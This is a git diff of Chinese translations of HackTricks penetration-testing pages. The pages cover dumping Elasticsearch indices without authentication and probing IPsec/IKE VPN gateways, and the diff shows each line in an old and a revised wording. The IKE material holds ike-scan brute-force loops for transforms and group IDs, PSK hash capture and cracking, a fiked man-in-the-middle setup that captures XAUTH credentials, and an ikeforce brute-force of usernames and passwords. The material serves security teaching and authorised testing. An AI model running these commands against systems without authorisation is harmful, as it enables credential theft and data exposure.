在`/_security/user`(如果启用了身份验证),您可以看到具有`superuser`角色的用户。
|
||||
|
||||
### 索引
|
||||
### Indices
|
||||
|
||||
您可以通过访问`http://10.10.10.115:9200/_cat/indices?v`**收集所有索引**。
|
||||
您可以通过访问`http://10.10.10.115:9200/_cat/indices?v`来**收集所有索引**。
|
||||
```
|
||||
health status index uuid pri rep docs.count docs.deleted store.size pri.store.size
|
||||
green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 4kb 4kb
|
||||
yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb
|
||||
yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb
|
||||
```
|
||||
要获取**有关索引内保存了哪种数据的信息**,您可以访问:`http://host:9200/<index>`,例如在这个案例中是 `http://10.10.10.115:9200/bank`
|
||||
要获取有关索引中保存了哪种数据的信息,您可以访问:`http://host:9200/<index>`,例如在这种情况下是 `http://10.10.10.115:9200/bank`
|
||||
|
||||
![](<../.gitbook/assets/image (265).png>)
|
||||
|
||||
### 转储索引
|
||||
|
||||
如果您想要**转储索引的所有内容**,您可以访问:`http://host:9200/<index>/_search?pretty=true`,如 `http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
如果您想**转储索引的所有内容**,您可以访问:`http://host:9200/<index>/_search?pretty=true`,如 `http://10.10.10.115:9200/bank/_search?pretty=true`
|
||||
|
||||
![](<../.gitbook/assets/image (266).png>)
|
||||
|
||||
_花点时间比较一下银行索引内每个文档(条目)的内容以及我们在上一节中看到的这个索引的字段。_
|
||||
_花点时间比较银行索引中每个文档(条目)的内容和我们在上一节中看到的该索引的字段。_
|
||||
|
||||
此时,您可能会注意到**在 "hits" 中有一个名为 "total" 的字段**,它表明在此索引内**发现了1000个文档**,但只检索了10个。这是因为**默认情况下有一个10个文档的限制**。\
|
||||
但是,现在您知道**这个索引包含1000个文档**,您可以通过在**`size`** 参数中指定您想要转储的条目数量来**转储所有这些文档**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
|
||||
_注意:如果您指定更大的数字,所有条目都会被转储,例如,您可以指定 `size=9999`,如果有更多条目(但您应该检查),这将是奇怪的。_
|
||||
因此,此时您可能会注意到**hits**内有一个名为“total”的字段,指示在此索引中找到了**1000个文档**,但只检索了10个。这是因为**默认情况下限制为10个文档**。\
|
||||
但是,现在您知道**此索引包含1000个文档**,您可以指定要在**`size`**参数中转储的条目数,**转储所有这些条目**:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`\
|
||||
_注意:如果指定更大的数字,所有条目将被转储,例如,您可以指定`size=9999`,如果有更多条目,那将很奇怪(但您应该检查)。_
|
||||
|
||||
### 转储全部
|
||||
|
||||
为了转储全部,您可以直接访问**与之前相同的路径,但不指定任何索引**`http://host:9200/_search?pretty=true`,如 `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
请记住,在这种情况下,将应用**默认的10个结果限制**。您可以使用 `size` 参数来转储**更多的结果**。阅读上一节以获取更多信息。
|
||||
为了转储全部内容,您可以直接转到**之前的相同路径,但不指定任何索引**`http://host:9200/_search?pretty=true`,如 `http://10.10.10.115:9200/_search?pretty=true`\
|
||||
请记住,在这种情况下将应用**默认的10个**结果限制。您可以使用`size`参数来转储**更多的结果**。阅读上一节获取更多信息。
|
||||
|
||||
### 搜索
|
||||
|
||||
如果您正在寻找一些信息,您可以对所有索引进行**原始搜索**,访问 `http://host:9200/_search?pretty=true&q=<search_term>`,如在 `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
如果您正在寻找某些信息,您可以对**所有索引进行原始搜索**,转到 `http://host:9200/_search?pretty=true&q=<search_term>`,如 `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
|
||||
|
||||
![](<../.gitbook/assets/image (267).png>)
|
||||
|
||||
如果您只想在一个索引上**搜索**,您可以在**路径**上**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
如果您只想在**一个索引上搜索**,您可以在**路径**上**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
|
||||
|
||||
_请注意,用于搜索内容的 q 参数**支持正则表达式**_
|
||||
_请注意,用于搜索内容的q参数**支持正则表达式**_
|
||||
|
||||
您也可以使用类似 [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) 的工具来对elasticsearch服务进行模糊测试。
|
||||
您还可以使用类似[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具来模糊搜索elasticsearch服务。
|
||||
|
||||
### 写入权限
|
||||
|
||||
您可以尝试在一个新索引内创建一个新文档来检查您的写入权限,运行类似以下的操作:
|
||||
您可以通过尝试在新索引内创建新文档来检查您的写入权限,运行类似以下内容:
|
||||
```bash
|
||||
curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d'
|
||||
{
|
||||
|
@ -159,13 +157,13 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
|||
"name" : "how to get a job"
|
||||
}'
|
||||
```
|
||||
该命令将创建一个名为 `bookindex` 的**新索引**,其中包含一个类型为 `books` 的文档,该文档具有属性 "_bookId_"、"_author_"、"_publisher_" 和 "_name_"
|
||||
该命令将创建一个名为`bookindex`的**新索引**,其中包含一个名为`books`的文档类型,该文档具有属性"_bookId_"、"_author_"、"_publisher_"和"_name_"
|
||||
|
||||
注意**新索引现在出现在列表中**:
|
||||
请注意**现在列表中出现的新索引**:
|
||||
|
||||
![](<../.gitbook/assets/image (268).png>)
|
||||
|
||||
并注意**自动创建的属性**:
|
||||
并注意**自动生成的属性**:
|
||||
|
||||
![](<../.gitbook/assets/image (269).png>)
|
||||
|
||||
|
@ -183,14 +181,14 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,14 +2,14 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -64,8 +64,8 @@ nmap -sV --script cassandra-info -p <PORT> <IP>
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上** **关注**我。
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -28,13 +28,13 @@
|
|||
|
||||
通过 **IKE** 管理两个点之间的 **安全关联(SA)** 的建立,IKE 在 ISAKMP 的框架下运行,这是一种专为身份验证和密钥交换而设计的协议。这个过程分为几个阶段:
|
||||
|
||||
- **第 1 阶段:** 在两个端点之间创建一个安全通道。通过使用预共享密钥(PSK)或证书来实现,可以使用主模式(涉及三对消息)或**主动模式**。
|
||||
- **第 1 阶段:** 在两个端点之间创建一个安全通道。通过使用预共享密钥(PSK)或证书来实现,可以使用主模式(涉及三对消息)或 **主动模式**。
|
||||
- **第 1.5 阶段:** 虽然不是强制的,这个阶段称为扩展认证阶段,通过要求用户名和密码来验证尝试连接的用户的身份。
|
||||
- **第 2 阶段:** 该阶段专门用于协商使用 **ESP** 和 **AH** 来保护数据的参数。它允许使用与第 1 阶段不同的算法来确保**完美前向保密性(PFS)**,增强安全性。
|
||||
- **第 2 阶段:** 该阶段专门用于协商使用 **ESP** 和 **AH** 来保护数据的参数。它允许使用与第 1 阶段不同的算法来确保 **完美前向保密性(PFS)**,增强安全性。
|
||||
|
||||
**默认端口:** 500/udp
|
||||
|
||||
## 使用 nmap **发现**该服务
|
||||
## 使用 nmap **发现** 该服务
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -46,7 +46,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
|||
```
|
||||
## **查找有效的转换**
|
||||
|
||||
IPSec配置可能只准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性,如DES或3DES作为**加密算法**,SHA或MD5作为**完整性算法**,预共享密钥作为**认证类型**,Diffie-Hellman 1或2作为密钥**分发算法**,以及28800秒作为**生存期**。
|
||||
IPSec配置可能只准备接受一个或几个转换。一个转换是一组值。**每个转换**包含一些属性,如DES或3DES作为**加密算法**,SHA或MD5作为**完整性算法**,预共享密钥作为**认证类型**,Diffie-Hellman 1或2作为密钥**分发算法**,以及28800秒作为**生存周期**。
|
||||
|
||||
因此,你首先要做的是**找到一个有效的转换**,这样服务器就会与你通信。为此,你可以使用工具**ike-scan**。默认情况下,Ike-scan在主模式下工作,并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
|
||||
|
||||
|
@ -67,7 +67,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 retur
|
|||
|
||||
* _0 returned handshake; 0 returned notify:_ 这意味着目标**不是IPsec网关**。
|
||||
* _**1 returned handshake; 0 returned notify:**_ 这意味着目标**已配置为IPsec,并愿意执行IKE协商,并且您提出的一个或多个变换是可接受的**(有效的变换将显示在输出中)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPN网关在**没有任何变换可接受时**会响应通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
|
||||
* _0 returned handshake; 1 returned notify:_ VPN网关在**没有任何变换可接受时**会响应通知消息(尽管有些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
|
||||
|
||||
因此,在这种情况下,我们已经有一个有效的变换,但如果您处于第3种情况,则需要**稍微进行暴力破解以找到有效的变换**:
|
||||
|
||||
|
@ -79,7 +79,7 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
|
|||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
如果暴力破解没有成功,也许服务器甚至对有效的转换也没有握手而作出响应。那么,您可以尝试使用侵略模式进行相同的暴力破解:
|
||||
如果暴力破解没有成功,也许服务器甚至对有效的转换也没有握手响应。那么,您可以尝试使用侵略模式进行相同的暴力破解:
|
||||
```bash
|
||||
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
|
||||
```
|
||||
|
@ -94,11 +94,11 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**\
|
||||
**2 = HMAC-SHA = SHA1(在这种情况下)。`--trans`格式为$Enc,$Hash,$Auth,$DH**
|
||||
|
||||
思科建议避免使用DH组1和2,因为它们不够强大。专家认为**资源丰富的国家可以轻松破解**使用这些弱组的数据的加密。这是通过使用一种特殊方法来准备快速破解代码来实现的。尽管设置这种方法需要花费大量资金,但它使这些强大的国家能够实时阅读使用不够强大的组(如1,024位或更小)的加密数据。
|
||||
思科建议避免使用DH组1和2,因为它们不够强大。专家认为,**资源丰富的国家可以轻松破解**使用这些弱组的数据的加密。这是通过使用一种特殊方法来准备快速破解代码来实现的。尽管设置这种方法需要花费大量资金,但如果数据使用的是不够强大的组(如1,024位或更小),这些强大的国家可以实时读取加密数据。
|
||||
|
||||
### 服务器指纹识别
|
||||
|
||||
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送初始提议并停止重播。然后,它将**分析**从服务器接收的**消息**与匹配的响应模式之间的**时间**差异,渗透测试人员可以成功识别VPN网关供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
||||
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送初始提议并停止重播。然后,它将**分析**从服务器接收的**消息**与匹配响应模式之间的**时间**差异,渗透测试人员可以成功识别VPN网关供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
||||
|
||||
**如有需要,请指定有效的转换**(使用--trans)
|
||||
|
||||
|
@ -126,7 +126,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
|
||||
## 查找正确的 ID(组名)
|
||||
|
||||
为了被允许捕获哈希值,您需要一个支持主动模式和正确 ID(组名)的有效转换。您可能不知道有效的组名,因此您将不得不使用暴力破解。\
|
||||
为了被允许捕获哈希值,您需要一个支持主动模式和正确 ID(组名)的有效转换。您可能不知道有效的组名,因此您将不得不使用暴力破解方法。\
|
||||
为此,我建议您使用 2 种方法:
|
||||
|
||||
### 使用 ike-scan 进行 ID 暴力破解
|
||||
|
@ -143,7 +143,7 @@ ike-scan -P -M -A -n fakeID <IP>
|
|||
|
||||
此脚本**将尝试暴力破解可能的ID**,并将返回发生有效握手的ID(这将是一个有效的组名)。
|
||||
|
||||
如果您发现了特定的转换,请将其添加到ike-scan命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们(您应该尝试它们直到其中一个正常工作为止)。
|
||||
如果您发现了特定的转换,请将其添加到ike-scan命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们(应该尝试它们所有,直到其中一个正常工作为止)。
|
||||
|
||||
您可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)中的常见组名来进行暴力破解:
|
||||
```bash
|
||||
|
@ -151,21 +151,21 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
|
|||
```
|
||||
### 使用 Iker 进行 ID 的暴力破解
|
||||
|
||||
[iker.py](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来 **根据 ike-scan 的输出找到有效的 ID**。
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法来**根据 ike-scan 的输出找到有效的 ID**。
|
||||
|
||||
### 使用 ikeforce 进行 ID 的暴力破解
|
||||
|
||||
[ikeforce.py](https://github.com/SpiderLabs/ikeforce) 是一个工具,也可以用来 **暴力破解 ID**。该工具将 **尝试利用不同的漏洞**,这些漏洞可以用来 **区分有效和无效的 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个工具,也可以用来**暴力破解 ID**。该工具将**尝试利用不同的漏洞**,这些漏洞可以用来**区分有效和无效的 ID**(可能会有误报和漏报,这就是为什么我更喜欢在可能的情况下使用 ike-scan 方法)。
|
||||
|
||||
默认情况下,**ikeforce** 会在开始时发送一些随机的 ID 来检查服务器的行为,并确定要使用的策略。
|
||||
|
||||
* **第一种方法** 是通过 **搜索** Cisco 系统的 **Dead Peer Detection DPD** 信息来暴力破解组名(只有在组名正确时服务器才会回复此信息)。
|
||||
* 可用的 **第二种方法** 是 **检查每次尝试发送的响应数量**,因为有时在使用正确的 ID 时会发送更多的数据包。
|
||||
* **第三种方法** 是在响应错误的 ID 时 **搜索“INVALID-ID-INFORMATION”**。
|
||||
* **第一种方法**是通过**搜索**思科系统的**Dead Peer Detection DPD**信息(只有在组名正确时服务器才会回复此信息)来暴力破解组名。
|
||||
* 可用的**第二种方法**是**检查每次尝试发送的响应数量**,因为有时在使用正确的 ID 时会发送更多数据包。
|
||||
* **第三种方法**是在响应错误的 ID 时**搜索“INVALID-ID-INFORMATION”**。
|
||||
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查当发送正确的 ID 时服务器是否会回复一些数据包。\
|
||||
显然,暴力破解 ID 的目的是在获得有效的 ID 后获取 **PSK**。然后,使用 **id** 和 **PSK**,您将需要暴力破解 XAUTH(如果已启用)。
|
||||
显然,暴力破解 ID 的目的是在获得有效 ID 后获取**PSK**。然后,使用**id**和**PSK**,您将需要暴力破解 XAUTH(如果已启用)。
|
||||
|
||||
如果您发现了特定的转换,请将其添加到 ikeforce 命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们全部(直到其中一个正常工作为止)。
|
||||
如果您发现了特定的转换,请将其添加到 ikeforce 命令中。如果您发现了多个转换,请随时添加一个新循环以尝试它们全部(您应该尝试全部直到其中一个正常工作为止)。
|
||||
```bash
|
||||
git clone https://github.com/SpiderLabs/ikeforce.git
|
||||
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
||||
|
@ -182,7 +182,7 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
|
||||
## 捕获和破解哈希
|
||||
|
||||
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许使用主动模式**,那么您可以非常容易地获取可破解的哈希:
|
||||
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许主动模式**,那么您可以非常容易地获取可破解的哈希值:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
|
@ -194,18 +194,18 @@ psk-crack -d <Wordlist_path> psk.txt
|
|||
```
|
||||
## **XAuth**
|
||||
|
||||
**Aggressive mode IKE**结合**预共享密钥(PSK)**通常用于**组认证**目的。这种方法通过**XAuth(扩展认证)**进行增强,引入了额外的**用户认证**层。这种认证通常利用**Microsoft Active Directory**、**RADIUS**或类似系统。
|
||||
**Aggressive mode IKE**结合**预共享密钥(PSK)**通常用于**组认证**目的。这种方法通过**XAuth(扩展认证)**进行增强,引入了额外的**用户认证**层。这种认证通常利用**Microsoft Active Directory**、**RADIUS**或类似系统的服务。
|
||||
|
||||
转向**IKEv2**,观察到一个显著的变化,即使用**EAP(可扩展认证协议)**代替**XAuth**来对用户进行认证。这种变化突显了安全通信协议中认证实践的演变。
|
||||
转向**IKEv2**,观察到一个显著的变化,即**EAP(可扩展认证协议)**取代**XAuth**用于用户认证的目的。这种变化突显了安全通信协议中认证实践的演变。
|
||||
|
||||
|
||||
### 本地网络中间人攻击以捕获凭据
|
||||
|
||||
因此,您可以使用_fiked_捕获登录数据,并查看是否存在任何默认用户名(您需要将IKE流量重定向到`fiked`以进行嗅探,这可以通过ARP欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN端点,并捕获XAuth凭据:
|
||||
因此,您可以使用_fiked_捕获登录数据,并查看是否有任何默认用户名(您需要将IKE流量重定向到`fiked`以进行嗅探,可以借助ARP欺骗完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN端点,并捕获XAuth凭据:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
### 使用 IPSec 尝试进行中间人攻击,并阻止所有流量到端口 500,如果 IPSec 隧道无法建立,也许流量将以明文形式发送。
|
||||
### 使用 IPSec 尝试进行中间人攻击,并阻止所有流量访问端口 500,如果 IPSec 隧道无法建立,可能会以明文形式发送流量。
|
||||
|
||||
### 使用 ikeforce 对 XAUTH 用户名和密码进行暴力破解
|
||||
|
||||
|
@ -215,7 +215,7 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
```
|
||||
这样,ikeforce 将尝试使用每个用户名:密码组合进行连接。
|
||||
|
||||
如果找到一个或多个有效的 transforms,就像在前面的步骤中使用它们一样。
|
||||
如果找到一个或多个有效的 transforms,就像在之前的步骤中使用它们一样。
|
||||
|
||||
## 使用 IPSEC VPN 进行身份验证
|
||||
|
||||
|
@ -270,8 +270,8 @@ root@system:~# ifconfig tun0
|
|||
|
||||
* 如果您想在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注** 我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要在HackTricks中看到您的**公司广告**?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
@ -20,7 +20,7 @@
|
|||
|
||||
身份验证通常依赖于**UNIX `UID`/`GID`标识符和组成员资格**。然而,由于客户端和服务器之间**`UID`/`GID`映射**可能不匹配,因此服务器无法进行额外的验证。因此,该协议最适合在**受信任的网络**中使用,因为它依赖于这种身份验证方法。
|
||||
|
||||
**默认端口**:2049/TCP/UDP(除了版本4,只需要TCP或UDP)。 
|
||||
**默认端口**:2049/TCP/UDP(除了版本4,它只需要TCP或UDP)。 
|
||||
```
|
||||
2049/tcp open nfs 2-3 (RPC #100003
|
||||
```
|
